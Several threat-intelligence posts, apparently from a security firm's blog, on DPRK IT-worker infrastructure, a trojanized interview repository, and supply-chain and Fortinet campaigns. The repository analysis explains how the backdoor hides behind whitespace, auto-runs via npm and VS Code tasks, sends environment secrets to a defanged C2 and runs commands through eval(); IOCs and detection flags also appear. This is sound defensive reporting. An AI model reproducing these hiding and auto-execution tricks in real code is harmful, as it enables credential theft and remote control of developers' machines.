Kudelski Security Research

Understanding the DPRK Cybercrime Ecosystem

Following a recent assessment of multiple events linked to North Korea, we wanted to bring our findings together in one place. This article examines three investigations into past events that were not attributed to the DPRK, as well as legitimate structures being used for illegitimate activities.

The compromise of partners or employers is not new, and DPRK IT workers have used this approach even within the cybercrime sector, as the first investigation into FakeCalls shows. This is why, as an analyst, I do not draw a hard line between cybercrime and state actors: the two can work together, while cybercrime groups can also be infiltrated, influenced or redirected by a state.

This research is based on passive analysis of publicly available data.

Linking the FakeCalls Trojan to DPRK-Linked Gambling Operations

We recently observed a stealer log leak involving an actor linked to the DPRK, nicknamed “Bismarck.” The actor used two IP addresses that overlap with indicators of compromise (IOCs) documented by Check Point Research in its analysis of FakeCalls, an Android banking trojan targeting South Korea. Because we had already clustered this threat actor and linked him to the North Korean fake IT worker environment, we assess that these attacks are likely attributable to the DPRK.

This actor's data leaked on December 22, 2023, and the article from Check Point Research was published on March 14, 2023, which fall within a similar timeframe.

Compared with other actors linked to the DPRK, this actor consumed a high volume of North Korean state-owned news, including DPRKdaily, uriminzokkiri and kcnawatch. He was also observed administering multiple gambling-related websites (see Annex 1) that may have been used to launder money. We found autofill fields containing 코인거래 주의사항, meaning “Cryptocurrency Trading Precautions,” as well as operational chats between some of “Bismarck's” associates.

The associates appear to have been suspicious of “Bismarck.” After these messages, one associate wanted to formalize the relationship with a contract and appeared aware of the risks involved. The circumstances of their initial contact remain unclear.

They can also modify the “RTP” (Return to Player) rate, the theoretical percentage of money wagered that is returned to players. In this case, they claim that it can be modified at any time.

Our reconstruction and sequencing may be imperfect, but the evidence suggests that the actors organized themselves across multiple countries to establish several gambling businesses. The casinos do not appear to be properly regulated, and the games are copies of legitimate titles from other publishers. Research into gitslotpark[.]com (see Annex 1) identified a lawsuit filed in Virginia, United States, by Pragmatic Play concerning copies of its games. This also aligns with chat excerpts identified through Google Translate.

The lawsuit also contained the name “E. Vasilyevich,” which overlaps with a name found in Bismarck's autofill data.

We assess that DPRK actors may have reused IP addresses from the gambling operation because the domains were purchased by the associates rather than by “Bismarck” or other North Korean operatives. We believe that a team operated behind "Bismarck" during the operation, given the size of the infrastructure, as we understand that "Bismarck" was the system administrator and developer for this operation.

Based on the IPs found in the metadata of "Bismarck's" session cookies, we were able to see that he established connections from a mobile ISP in Moscow, Russia, which may indicate that he conducted his operations from Moscow.

The metadata comes mainly from DPRKtoday, a North Korean news website widely used by overseas workers. It also serves as a pivot point that we use to track threat actors laterally through stealer log data.

DPRK Fake IT Workers and Emotet Botnet Activity

We assessed a DPRK-related actor, identified in a stealer log, who appeared to work as a manager. Two IP addresses stored in his password vault were associated with the delivery of Emotet, modular malware first observed in 2014. Emotet began as a banking trojan before evolving into a loader used to deliver other payloads. We assess with moderate confidence that the manager used the two IPs listed below to deploy Emotet.

The credentials were stolen from the manager's WinSCP vault in 2021. Cross-referencing the history of 160.16.143[.]191, this IP began being used as a loader in early 2022, according to VirusTotal history.

One notable aspect of this profile is that the entire system is in Japanese. This is not the first time we have observed this pattern. Based on his notes, which were written partly in Japanese and partly in Korean, this cell appears to have targeted Japan exclusively. The notes described missions carried out by the team in 2021.

Given the UTC+8 time zone, we assess that he could be located in North Korea.

North Korean Universities and DPRK Fake IT Worker Operations

During our research, we identified multiple universities connected to the fake IT worker operation. The most significant in our assessment were Kim Chaek University of Technology, Jinung Institute of IT Development at Kim Il Sung University, and PYITC, which we attribute with medium confidence to the Pyongyang Information Technology Center.

These were often North Korean universities. In the cases we assessed, the activity appeared to involve fake IT workers operating from within these institutions rather than students. We observed a naming convention of <university acronym>-<number>, with numbering beginning at 001. Using this convention, we ran a bulk lookup on Hudson Rock from <university acronym>-001 to <university acronym>-999, which provided additional context on activity within these institutions.

For the building reconstruction/GEOINT analysis, we are unsure whether the machine naming convention refers to a base or to a named physical location. For this analysis, we assumed that it referred to a named location.

1. Kim Chaek University of Technology and DPRK Fake IT Worker Activity

‍

‍

With low confidence, we reconstructed a small part of Kim Chaek University of Technology using the naming convention found on computers within the assessed cluster. These machines were marked internally as “units” and used tags such as “4-2-205,” which could refer to “Building/Floor/Room.” We see this pattern frequently in stealer logs and assess that these machines are likely not portable. Across different units, only the first digit changed, leading us to assess that it may identify the building. Our goal was to cross-reference these identifiers with satellite imagery to determine whether they reveal additional capabilities. The methodology is outlined below.

To do this, we can count the windows to estimate the number of floors and exclude buildings with fewer than two floors, narrowing the possible locations. We were unsure whether the area marked in blue formed part of the campus.

‍

Based on the data observed, the most frequently represented fake IT worker teams from this university were 41/42/43 KUT and several sub-teams. We understand the hierarchy to be: KUT → Department → Team.

We found limited information on their network infrastructure, but assess that they are probably using the 192.168.142.XXX/24 subnet. Within this infrastructure, we observed connections to the private IP address 192.168.142[.]122:80, which serves a developer management system.

2. Jinung Institute of IT Development and DPRK Fake IT Worker Activity

‍

The Jinung Institute of IT Development appears to be less well documented than the other universities. However, the Kim Il Sung University website briefly references the institute and its activities as a university unit.

We initially clustered a group of IT workers using the naming pattern UnivJN-<number>. One individual stated that he was from “Jinung” and part of a team named JN+<number>. The teams identified as JN1 and JN2 appear to consist mainly of developers.

To identify the exact site, we referred to a 38 North article that identified “Jinung solar panel manufacturing.” Assuming the units are grouped together, we examined the area around that facility using “3-4-XX” as a reference.

One assessed profile used a 10-character password resembling a Chinese student ID. We do not know whether they adopted the same naming convention as Chinese universities, although it is plausible.

3. PYITC and DPRK Fake IT Worker Infrastructure

‍

We are unsure whether PYITC refers to the Pyongyang Information Technology Center, as the acronym appears only within the IT worker teams we assessed. However, we can say with high confidence that the entity is linked to a North Korean university because we observed the same patterns documented in the previous cases. The infrastructure we reconstructed makes extensive use of an HFS solution, probably Rejetto, across PYITC teams (see Annex 2), with “Student Management” appearing as a title.

We observed a pattern in fake IT worker usernames consisting of three digits in the format “3-X-X.” This appears more likely to be an organizational or military naming convention than a building identifier and differs from the machine-name patterns assessed earlier.

Across both networks, we observed the same dashboard name on hosts ending in “.8,” which may reflect an internal convention used by this entity.

The role of students remains unclear. We observed indications that students may participate in the fake IT worker operation, and this is the first time we have encountered the term “student” rather than “units.”

Inside the DPRK Fake IT Worker “Base” System

By cross-referencing sources including stealer logs and the ZachXBT leak, we developed the following understanding of the “Base” system's structure.

Five known bases have been identified, although their locations are not publicly known. A “base” is described as a location where workers can access the internet. Connectivity is provided in two ways: a wired fiber-optic connection, which is stable but slow, or what they call “Wi-Fi,” which is actually a router with a SIM card using the cellular network. The latter is faster but less stable and can support three to five people at a time.

A dedicated support team handles requests for new routers and other technical issues. Workers can move between bases depending on decisions made by the “base boss” and the individual team member. However, they are not required to work from these bases; some companies and universities in North Korea already have internet access.

‍

‍

Turn Threat Intelligence Into Action

Understanding how cybercrime and state-linked activity intersect is critical to staying ahead of emerging threats. Kudelski Security can help you understand the threats facing your organization and turn intelligence into meaningful action. Contact our team for more information.

Sources and Research References

Hudson rock for the stealer logs

// FakeCalls, Casino part

https://research.checkpoint.com/2023/south-korean-android-banking-menace-fakecalls/

// Emotet part

https://web.archive.org/web/20221011061425/https://www.vmware.com/content/dam/learn/en/amer/fy23/pdf/1669005_Emotet_Exposed_A_Look_Inside_the_Cybercriminal_Supply_Chain.pdf

https://github.com/pr0xylife/Emotet/blob/main/e4_emotet_18.03.2022.txt

https://github.com/vmware-samples/tau-research/blob/emotet-report/2022-H2-Emotet-Resurrection/ioc_c2_config.csv

// Jinung Institute of IT Development (Kim Il Sung university)

https://www.38north.org/2023/03/north-koreas-energy-sector-state-solar-electricity-research-and-manufacturing/

// Base

https://investigation.io/dprk-itw-breach/ password:123456

The translation from Korean to English has been made by AI

ANNEX

ANNEX 1 – Gambling administration Link

ANNEX 2 – PYITC network

ANNEX 3 – Bonus – North Korean word list found in an autofill

Translated with AI

Summary

This report is a follow-up to our previous research on the internal network of DPRK IT workers. Using stealer logs, we expand our understanding of these threat actors’ internal infrastructure, much of which appears to be located in North Korea. This includes newly identified network segments, further insight into their organizational structure and new clusters within the previously documented offensive infrastructure.

This research is based on the passive analysis of publicly available data.

Infrastructure Tracking Overview

We divided the infrastructure in 3 parts

Blue = Target space
Grey = Neutral space
Red = Adversary space

This report is divided into two parts. The first examines the public-facing infrastructure, while the second presents relevant observations on clusters identified within either the offensive ecosystem or the fake IT worker operation.

Tracking Public-Facing IP Addresses

Following our previous article on this infrastructure, we observed that actors linked to the DPRK fake IT worker cluster had changed several parts of their infrastructure. However, the infrastructure associated with Skyfreight Limited remained unchanged.

Considering all known locations and the context gathered before the infrastructure shift, we can trace an apparent path from North Korea to western Russia.

Over time, we observed that their primary targets appear to be the United States and Japan. To support their operations, they use VPNs to obtain exit nodes in these countries. DPRK IT workers use a wide range of commercial VPN services, so we used this pattern as a pivot point when analyzing stealer logs.

Astrill VPN may appeal to malicious actors because its servers are difficult for researchers to fingerprint. We therefore relied primarily on IP addresses identified by Spur and OTX to find additional profiles. Fake IT workers appear to share some exit nodes with offensive teams. Researchers can therefore use IP addresses associated with previous campaigns as pivot points in OTX to identify potential overlaps. The keyword “Lazarus” also produced useful results in this context.

Based on our observations, Mullvad is the second most commonly used VPN provider among fake IT workers. Its infrastructure is relatively easy to identify because it uses dedicated, named ranges.

We then used Hudson Rock to identify profiles matching known patterns associated with fake IT workers or North Korean operators.

One distinction between Cluster A and Cluster B is how they conceal their public IP addresses. Cluster A appears to take greater care to protect the source IP addresses of its command-and-control infrastructure. Cluster B takes the opposite approach and makes less effort to conceal them. For example, 175.45.178[.]222 has been attributed to an attacker team for more than five years, yet the team continues to reuse it, sometimes behind a single proxy and sometimes without a VPN or proxy.

As part of the C2 operations, we observed a high volume of DNS requests sent through MikroTik routers around the world.

Tracking Private IP Addresses

Following the leak published by ZachXBT (password: 123456), we identified several overlaps with our findings. Before the leak, we had identified only acronyms such as “HMB,” which we can now link to “HamBuk”; “RS,” which refers to “RedStar”; and “S.E.C.,” which refers to the Second Economy Committee. We would not have been able to resolve these terms without the leaked information. Many other terms remain unresolved. Even when teams do not use acronyms, some rely on North Korean cultural references that provide little indication of their actual purpose. The internal infrastructure suggests that multiple sectors are involved in the fake IT worker scheme.

During our infrastructure assessment, we were unable to identify a gateway until we found a stealer log belonging to a DPRK IT worker who was configuring a Huawei HiLink router. The worker accessed the router through 192.168.8[.]1 on a network used by Team 313.

As we could not observe any other configuration tasks on the other routers and never saw any other internal IPs ending in "1," we assess with low confidence that they use the first usable address (192.168.*.1/24) as a convention for their gateway addresses. Using the first usable address is a common networking convention, although some networks use the last usable address instead.

We attributed “RB” to “Ryonbong,” a sanctioned North Korean company linked to the defense sector. From an infrastructure perspective, RB appears to perform a support function by providing and collecting administrative reports from DPRK employees.

On the “RB proxy,” we identified the URL hxxp://192.168.109[.]2/call, which we linked to a WebRTC call server on the same network. The actors appear to use two methods for internal communication: this server and a separate tool called “CallPC,” which we identified across several other networks.

We also found references to “KUT” and Ryonbong in several stealer log profiles. Based on the subdomain and the contact email kut[@]star-co[.]net[.]kp, we linked KUT to Kim Chaek University of Technology.

A stealer log contained references to 13 teams, ranging from 41-KUT and 42-KUT to HQ and Ryonbong. The log did not contain the teams’ private IP addresses. We do not yet know what this structure represents. Although the teams are linked to the university, the naming convention does not appear to correspond to university classes.

In our earlier research, we assessed the offensive infrastructure described in this article. We have since added a new cluster, labeled “PUG,” although we have not determined what the acronym means. We still do not know where this infrastructure is located or what its purpose is. One user is associated with a team named “Yuhang.” Yuhang is also the name of a district in Hangzhou, but this is not a sufficiently strong indicator to support attribution at this stage.

Informational part: We noticed that a server with the following address 192.168.143[.]66 host public YouTube videos to learn English.

Sources

Hudson rock for the stealer logs
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf

https://investigation.io/dprk-itw-breach/ (password: 123456)

Content

IOC’s

Relevant Antivirus Solutions to Note

Summary

Kudelski Security’s research team tracked a DPRK-linked cluster of individuals running the “Contagious Interview” campaign, operating from DPRK and China. Posing as recruiters on LinkedIn, WhatsApp, and Discord, the operators lure job-seeking developers into fake technical interviews and trick them into running malicious code.

This article explains how they operate and includes a backdoor analysis of a GitHub repository used in their fake interview workflow.

Fake interview

At the beginning of this year, we were able to gather contracts shared over LinkedIn and WhatsApp with potential collaborators who consented to open a laptop farm or individually give DPRK actors access to their laptop and identity to perform a range of tasks.

‍

Following a contract signed between two of the parties, we observed that the actors also used the identity and machines of the collaborators to infiltrate CodeMentor (codementor[.]io), conduct 1:1 sessions with developers, and apply to freelance positions as a developer.

Once the contract was signed, we observed that they ran tests with .bat files whose contents we could not see. We assess with low confidence that these specific commands were linked to interviews conducted by them.

Nircmd is a command-line utility from NirSoft and is currently being used by DPRK-related actors to make victims execute .bat files on their system during coding interviews. As we could not read the contents of the .bat files, we do not know what those files do once executed on the system.

We can note that they mainly used three flags related to Nircmd: exec, win, and hide.

• Exec is for execution
• Win runs it in normal mode
• Hide is for hiding the window during execution

We think that the DPRK actor uses the combination of both flags, win and hide, either because they misunderstand the command utility or to evade detection based on Nircmd + exec + hide. In some cases, it should be Nircmd + exec + win + hide, so the analyst has to adapt the detection rule. You can find detection logic at the end of this article.

What type of proxies do they use?

Over time, we observed that DPRK actors ran a scamming scheme by hiring external collaborators in Iran to act as interviewers. They mainly used VPS, residential proxies, and VPNs located in the region they were targeting. In fake interviews, they specifically targeted people related to the blockchain sector or developers who might have access to crypto companies.

For example, when they targeted Japan, they mainly connected through M247 Japanese ranges, connected to a VPS, or used an Astrill VPN node with a Japanese IP address.

Why do threat actors use Astrill VPN?

Astrill VPN allows malicious actors to do port forwarding over their C2 to hide their servers behind Astrill VPN services.

This is the main reason DPRK actors use Astrill VPN for their malicious campaigns. It also helps because some of their operators are located within China, giving them easier access to the internet outside China or North Korea without being restricted.

They mainly pay for this service with stolen credit cards.

In our previous research, we observed with medium confidence that North Korea had direct connections with Chinese ISPs such as ZTE, which could probably give them Chinese IPs instead of North Korean IPs. Even if the connection we found is not active, it is still useful for infrastructure analysis.

We also saw in a research article from the GitLab Threat Intelligence team that some North Korean IT worker cells can operate within Chinese universities at joint research centre facilities used as cover for malicious activity outside North Korea. That suggests their source IPs may originate from China as well.

Fake Github repository made to impersonate a blockchain company and pass fake interviews

As we apply a specific marker to threats against Switzerland, we observed that a GitHub repository named Ajuna-solution impersonated a Swiss company named Ajuna-network to likely spread malware and compromise interviewees during fake coding interviews led by fake recruiters linked to DPRK. This campaign has been named Contagious Interview and is already well documented. This time, we decided to give an overview of what we could see from this campaign.

The entirety of this GitHub repository was trojanized, and this analysis is broken down into multiple parts that we found relevant:

• package.json (launches the app and triggers the backdoor)
• routes/api/auth.js (backdoor)
• controllers/auth.js (informational: suspicious use of Axios)
• .vscode/tasks.json (second way to trigger the backdoor)

Package.json

To launch the application, the user must perform an npm install, which triggers a prepare step that starts a Node server as a background task compatible with Windows and Linux. After that, it launches server.js, which enables the backdoor described below.
‍

Backdoor with “routes/api/auth.js”

Once we open “routes/api/auth.js” on the repository

The code appears legitimate, but it uses a common technique to trick users by placing 721 spaces after module.exports = router; and appending obfuscated malicious code. It was probably generated using the obfuscator[.]io engine, based on structural patterns such as identifiers that start with _0x followed by hexadecimal digits, and a custom decoder that does not use native atob to decode strings but instead uses a custom base64 function based on a non-standard alphabet with a lowercase-first order.

Once de-obfuscated, we can identify the backdoor logic as six distinct parts.

‍

This first reconnaissance stage gathers the hostname and the operating system, including the kernel version and platform. The IPv4 family is used only as a filtering criterion to select the right interface and exclude internal interfaces and null MAC addresses. The public IP address does not appear to be collected. Only the MAC address seems to be used as a stable machine identifier.

Within sendRequest(), the collected data is serialized with JSON.stringify and passed as URL parameters, along with the entire process environment (process.env). This means it can steal API keys, tokens, and other secrets.

We also noted that the actor left a marker in the tid field: now it time to get everything. It is likely used to identify or reroute the data within their C2.

Once the base64 is decoded we can now know the C2 and the endpoint behind these communications hxxp://138.201.128[.]169:1224/api/checkStatus.
We can now know that the structure follow this patterns <IP>:1224/api/<Value>
We see that the server is hosted at Hetzner a German VPS provider, we can also see from abuseipdb that this same IP has been reported 1 year ago as the sender of 1200+ phishing emails that can indicate an infrastructure reuse but we can’t confirm it.

The C2 response is parsed as JSON, and if the field status is equal to error, this signals that the message field carries a command that is passed to eval().

The interesting part here is that it uses the error message to catch a condition, which is unusual.

For session handling, the C2 returns an identifier that is stored in SysID, which can give the attacker a tracking ID for each infected host.

On load, the implant runs getSystemInfo() and store the result into s, the data is sent to the C2 without any external trigger. A beacon is sent every 5 seconds and maintains a channel for the C2 to execute commands remotely. If the initialization fails, the error is logged and the process exits with an exit code of 1.

controllers/auth.js (Informational)

We would like to note that Axios has been called without being used on this project and is installed via NPM, this remains suspicious even if version 1.14.0 has not been impacted by the Axios supply chain attack. According to Google threat intelligence group the following version were compromised 1.14.1 and 0.30.4. One version after the one that was installed.

.vscode/tasks.json (Second stage dropper)

If you open the project with. vscode it will automatically execute commands hidden by 564 spaces on the “env” task.

Once executed by tasks.json, powershell will use the “-Command” flag + the command within the task, it would appear like this on windows:
“<Absolute path\Powershell.exe> -Command <Commandline in the task>”

They made the execution of these commandlines possible on OSX, Linux and Windows. Once executed it create a. vscode folder in “C:\Users\%USERNAME%\”, install node.js, pull and execute “env.npl” which is the exact same backdoor that we analyzed on “routes/api/auth.js”.

Analysis of the events

Based on the collected events, we can partially reconstruct what happened during these interviews. The fake interviewer asked the candidate to install the dependencies of the project with npm install. If the candidate did not want to do it, the interviewer would ask them to open the project in VS Code. That action would trigger the backdoor due to the env task located in .vscode/tasks.json.

This is a compromise technique likely combined with social engineering, where the fake interviewer pushes the candidate to perform actions that look benign but in fact trigger the attacker’s backdoor.

Detection

If you are targeted by DPRK-related actors, we recommend that organizations use Suricata rules over raw network logs, as North Korean campaigns often reuse the same techniques and malware.

As the Contagious Interview campaign is a human-factor problem, we recommend raising employee awareness around fake interviews, because the use of social engineering makes detection harder.

I use Yara here because this is simpler to document and I just want to show the logic of the rule.

Sources

Hudson rock for the stealer logs (I used it to gather PowerShell commands and contracts only)
https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/
https://cloud.google.com/blog/topics/threat-intelligence/north-korea-threat-actor-targets-axios-npm-package

Get in Touch

If your team wants help investigating advanced threat activity, improving detection for social engineering-led intrusion chains, or strengthening defenses against campaigns like Contagious Interview, contact Kudelski Security to speak with our experts.

‍

Summary

A software supply chain attack targeting the market intelligence platform Klue resulted in unauthorized access to customer integrations and subsequent data exfiltration from downstream SaaS applications, including CRM systems.

The intrusion began when a threat actor compromised Klue's backend environment and introduced malicious code designed to harvest OAuth tokens used by customer integrations. These tokens were then leveraged to access connected third-party services and extract data directly from customer environments.

One of the impacted organizations includes Huntress, along with other Klue customers. The exposed data primarily consisted of CRM and sales-related information, with no indication of compromise to product infrastructure, engineering systems, threat telemetry, payment data, or passwords.

Affected Systems and/or Applications

The incident impacted organizations using Klue integrations with the following third-party services:

• Salesforce
• HubSpot
• SharePoint
• Zoom
• Gong
• Chorus.ai
• Clari
• Google Drive
• Slack

Scope of impact:

• OAuth tokens associated with Klue integrations were stolen
• CRM queries were executed against customer systems
• Data was exfiltrated from Salesforce and related systems
• No compromise of core Huntress product infrastructure or telemetry was identified

Technical Details

The intrusion originated when a long-unused but still active credential associated with Klue was leveraged to gain initial access to its backend systems. The threat actor used this foothold to deploy malicious code into integration workflows, specifically targeting mechanisms responsible for handling customer OAuth tokens. These tokens, which are used to authorize connections between Klue and third-party SaaS platforms, were covertly harvested as they were processed.

Once the attacker obtained valid OAuth credentials, they pivoted into downstream customer environments and used the stolen tokens to authenticate directly against integrated services. This enabled them to perform API-driven queries against connected systems, including CRM platforms such as Salesforce, where they systematically extracted records through standard query endpoints. The activity was characterized by automated data retrieval at scale, consistent with bulk CRM data enumeration rather than interactive user behavior.

From there, the attacker leveraged the compromised integrations to access additional connected services, including sales and collaboration platforms, and exfiltrated structured business data such as contacts, pricing information, sales communications, and internal notes. The attack ultimately demonstrated a chained supply chain compromise, where a single upstream integration failure enabled cascading unauthorized access across multiple downstream environments.

Indicators of Compromise (IOCs)

Additional Telemetry Findings

• Abnormal API activity targeting /services/data/v59.0/query/ endpoints
• Repeated use of non-standard or blank User-Agent strings ("5238")
• Python-based automation observed in query patterns:
  • Python-urllib/3.12
  • Python-urllib/3.14

Mitigation

Organizations potentially impacted by similar integrations should take the following actions:

1. Immediate Response Actions

• Revoke and rotate all OAuth tokens associated with:
  • Klue integrations
  • Connected SaaS applications (Salesforce, HubSpot, etc.)
• Force session invalidation across impacted platforms

2. Log Review

• Review API and authentication logs for:
  • Suspicious query patterns to /services/data/v59.0/query/
  • Unusual bulk data extraction activity
  • Python-based or non-standard user agents
• Correlate activity with provided IOCs:
  • 138.226.246[.]94
  • 212.86.125[.]24
  • 213.111.148[.]90
  • 94.154.32[.]160

3. Vendor Coordination

• Request missing or incomplete API logs from affected SaaS providers
• Coordinate with vendors to validate token usage history and session activity

4. Credential and Access Hardening

• Rotate API keys and OAuth credentials for all third-party integrations
• Enforce least-privilege access for integration tokens
• Regularly audit inactive or legacy integrations

5. Email and Threat Monitoring

• Search inboxes and spam folders for extortion-related messages
• Preserve suspicious emails for forensic investigation
• Monitor for data leakage references tied to CRM or Salesforce exports

6. Incident Response Preparedness

• Engage cyber insurance and incident response teams if exposure is suspected
• Establish procedures for rapid token revocation and integration shutdown
• Implement continuous monitoring for SaaS-to-SaaS integration abuse

References

• Cybercrime Breaches Klue: Salesforce Data Impacted for Many Victims, including Huntress | Huntress
• ReliaQuest
• Huntress
• Salesforce Status

(Updated June 23)

Summary

A large-scale, ongoing intrusion campaign targeting Fortinet infrastructure has been observed impacting internet-facing firewalls and VPN gateways worldwide. The operation, widely referred to as “FortiBleed,” primarily and definitely involves credential reuse, stealing, and brute force. According to Fortinet, “Based on our initial analysis, we believe the activity involves threat actors reusing credentials from previous incidents and employing brute-force techniques against devices with weak password hygiene and no multi-factor authentication (MFA).” Other researchers suggest the campaign may also involve the exploitation of a number of recent vulnerabilities affecting Fortinet products to achieve initial access and maintain persistence within enterprise environments, but no clear link has been established to the FortiBleed campaign.

The campaign is notable for its scale and automation. Attackers are not relying on a single exploit path; instead, they use a continuous cycle where stolen credentials, brute-force attempts, and intercepted authentication data are reused to expand access across thousands of organizations globally. This has resulted in widespread compromise affecting tens of thousands of devices across more than 190 countries, including critical infrastructure and major multinational enterprises.

Organizations can check whether their company has been exposed through the FortiBleed lookup tool provided by Hudson Rock, and affected customers are being contacted directly as part of ongoing coordinated disclosure efforts to support remediation and incident response.

Affected Systems and/or Applications

The following systems and applications are impacted or actively targeted. Vulnerabilities listed may have contributed to spreading FortiBleed's reach, but this is unconfirmed and the list is not exhaustive. In any case, it is strongly recommended to ensure these vulnerabilities have been patched.

Core Network Security Infrastructure

• FortiGate (primary target)
• SSL VPN interfaces exposed to the internet
• Administrative web portals of Fortinet devices

Additional Fortinet Security Products

• FortiSandbox
  • Actively exploited via multiple critical CVEs:
    • CVE-2026-39808 (command injection)
    • CVE-2026-39813 (authentication bypass)
    • CVE-2026-25089 (remote command execution)
• FortiClient EMS
  • Vulnerabilities observed in active exploitation campaigns:
    • CVE-2026-21643
    • CVE-2026-35616

Supporting / Secondary Targets

• Microsoft SQL Server environments (2.1B+ brute-force attempts observed)
• Internal Active Directory environments (post-compromise pivot targets)
• Enterprise VPN authentication systems across multiple vendors (credential reuse expansion)

Technical Details

The intrusion chain typically begins with large-scale internet scanning to identify exposed Fortinet devices. Once discovered, attackers attempt authentication using vast datasets of previously leaked credentials, many of which originate from infostealer malware infections or older breaches. This credential-stuffing phase alone accounts for billions of login attempts, indicating a highly automated infrastructure designed for continuous exploitation.

When credentials are insufficient, attackers escalate by attempting brute-force authentication or, possibly in a subset of cases, exploiting known vulnerabilities in Fortinet products. Recently patched flaws - such as authentication bypass and remote command execution vulnerabilities in FortiSandbox and FortiClient EMS - are actively being weaponized in the wild, though again, there is no definitive link to FortiBleed. Some exploit attempts appear to be rapidly generated or AI-assisted, although not all are immediately functional.

A particularly concerning aspect of this campaign is the interception of SSL VPN authentication data. Attackers capture authentication material during login sessions and then crack it offline using GPU-accelerated systems. Once valid access is obtained, compromised devices are used as monitoring points inside enterprise perimeters, allowing attackers to observe network traffic and harvest additional credentials.

Post-exploitation activity typically involves persistence within VPN and firewall management interfaces, followed by lateral movement into internal systems such as Active Directory. In addition to building a catalogue of compromised organizations intended to be sold, this enables the attackers to escalate privileges, move across internal segments, and extract sensitive data. In several documented cases, organizations experienced full network compromise and data exfiltration, including entities in critical infrastructure and defense-related sectors.

Mitigation

Organizations should immediately implement the following defensive measures:

• Immediately rotate all VPN, firewall, and administrative credentials associated with Fortinet infrastructure, especially where reuse across systems may have occurred.
• Enforce Multi-Factor Authentication (MFA) on all VPN access points and administrative interfaces without exception.
• Apply the latest security patches for all Fortinet products, particularly FortiGate, FortiSandbox, and FortiClient EMS, prioritizing vulnerabilities related to authentication bypass and remote code execution.
• Restrict exposure of VPN and management interfaces by limiting access to trusted IP ranges or internal networks only.
• Review authentication and firewall logs for anomalies such as unusual geolocations, repeated login failures, or unexpected administrative activity.
• Assume potential compromise for any internet-exposed Fortinet system without MFA and up-to-date patching, and initiate incident response procedures where exposure is confirmed or suspected.

IoCs

Accounts present on Fortinet devices:

Credentials associated with FortiBleed include default accounts as well as those of indeterminate origin - possibly used by MSPs to manage deployments, possibly created for persistence by campaign operators - like adminin, fgtsecure and many others. A small set of passwords appears across many unrelated brands and localities. For a more complete overview of this aspect of the campaign and in the interest of not re-publicizing possibly valid credentials in an easily scrapable format, have a look at CloudSEK's analysis of the open directory which was accidentally left exposed by FortiBleed operators.

IP addresses:

References

• FortiBleed: 75,000 Fortinet Firewalls Compromised: Global Enterprises Exposed – Claim Your Ethical Disclosure | Hudson Rock
• 3 Recently Patched Fortinet FortiSandbox Vulnerabilities in Hacker Crosshairs - SecurityWeek
• https://www.helpnetsecurity.com/2026/04/16/fortinet-fortisandbox-vulnerabilities-cve-2026-39813-cve-2026-39808/
• Vendor Advisories and Patches: PSIRT Advisories | FortiGuard Labs
• Analysis of Reported Credential Compromise of FortiGate Devices | Fortinet Blog
• FortiBleed: Everything You Need to Know
• Inside the FortiBleed Open Directory: A Technical Analysis of What the Attacker Left Behind | CloudSEK

Summary

A sophisticated supply chain attack has compromised official DAEMON Tools installers, distributing malware signed with valid digital certificates since April 8, 2026. Discovered by Kaspersky, the incident involves trojanized versions of the software that activate an implant upon execution, enabling targeted malware delivery to a highly selective subset of victims globally. The attack, still active at time of writing, leverages legitimate software distribution channels to bypass initial security controls, demonstrating a high degree of operational security by the threat actors.

Affected Systems and/or Applications

Versions affected:

• DAEMON Tools versions 12.5.0.2421 to 12.5.0.2434.

Attack details:

• Thousands of infection attempts have been observed across more than 100 countries, including Russia, Brazil, Turkey, Spain, Germany, France, Italy, and China.
• Targeted follow-on payloads have been delivered to a small number of hosts belonging to retail, scientific, government, and manufacturing organizations in Russia, Belarus, and Thailand.
• A specific remote access trojan (QUIC RAT) was recorded targeting an educational institution in Russia.

Technical Details

• Compromised Components: Three legitimate DAEMON Tools binaries were tampered with: DTHelper.exe, DiscSoftBusServiceLite.exe, and DTShellHlp.exe. These files retain valid digital signatures belonging to the original developers, which helps evade signature-based detection.
• Execution Flow: The implant activates when any of the compromised binaries launch, which typically occurs during system startup.
• Command and Control (C2): Upon execution, the implant sends an HTTP GET request to env-check.daemontools[.]cc (registered on March 27, 2026) to receive shell commands that are subsequently executed via cmd.exe.
• Payload Delivery:
  • envchk.exe: A .NET executable designed for extensive system information collection.
  • cdg.exe and cdg.tmp: cdg.exe acts as a shellcode loader that decrypts and executes cdg.tmp, a minimalist backdoor capable of downloading files, running shell commands, and executing shellcode in memory.
  • QUIC RAT: A C++ implant supporting multiple C2 protocols (HTTP, UDP, TCP, WSS, QUIC, DNS, HTTP/3) with process injection capabilities targeting notepad.exe and conhost.exe. This advanced backdoor indicates a tailored, high-value targeting strategy rather than indiscriminate mass infection.

Indicators of Compromise

Infected DAEMON Tools Lite installers

9ccd769624de98eeeb12714ff1707ec4f5bf196d (12.5.0.2421)
50d47adb6dd45215c7cb4c68bae28b129ca09645 (12.5.0.2422)
0c1d3da9c7a651ba40b40e12d48ebd32b3f31820 (12.5.0.2423)
28b72576d67ae21d9587d782942628ea46dcc870 (12.5.0.2424)
46b90bf370e60d61075d3472828fdc0b85ab0492 (12.5.0.2430)
6325179f442e5b1a716580cd70dea644ac9ecd18 (12.5.0.2431)
bd8fbb5e6842df8683163adbd6a36136164eac58 (12.5.0.2433)
15ed5c3384e12fe4314ad6edbd1dcccf5ac1ee29 (12.5.0.2434)

Modified DiscSoftBusServiceLite.exe

524d2d92909eef80c406e87a0fc37d7bb4dadc14
427f1728682ebc7ffe3300fef67d0e3cb6b62948
8e7eb0f5ac60dd3b4a9474d2544348c3bda48045
00e2df8f42d14072e4385e500d4669ec783aa517
aea55e42c4436236278e5692d3dcbcbe5fe6ce0b
0456e2f5f56ec8ed16078941248e7cbba9f1c8eb
9a09ad7b7e9ff7a465aa1150541e231189911afb
8d435918d304fc38d54b104a13f2e33e8e598c82
64462f751788f529c1eb09023b26a47792ecdc54

C:\Windows\Temp\envchk.exe

2d4eb55b01f59c62c6de9aacba9b47267d398fe4

C:\Windows\Temp\cdg.exe‍
‍C:\Windows\Temp\imp.tmp‍
‍C:\Windows\Temp\piyu.exe

9dbfc23ebf36b3c0b56d2f93116abb32656c42e4
295ce86226b933e7262c2ce4b36bdd6c389aaaef

C2

env-check.daemontools[.]cc
38.180.107[.]76

Mitigation

• Isolate any machines with DAEMON Tools installed and check for evidence of suspicious activity starting April 8.
• Block network traffic to the C2 domain env-check.daemontools[.]cc.
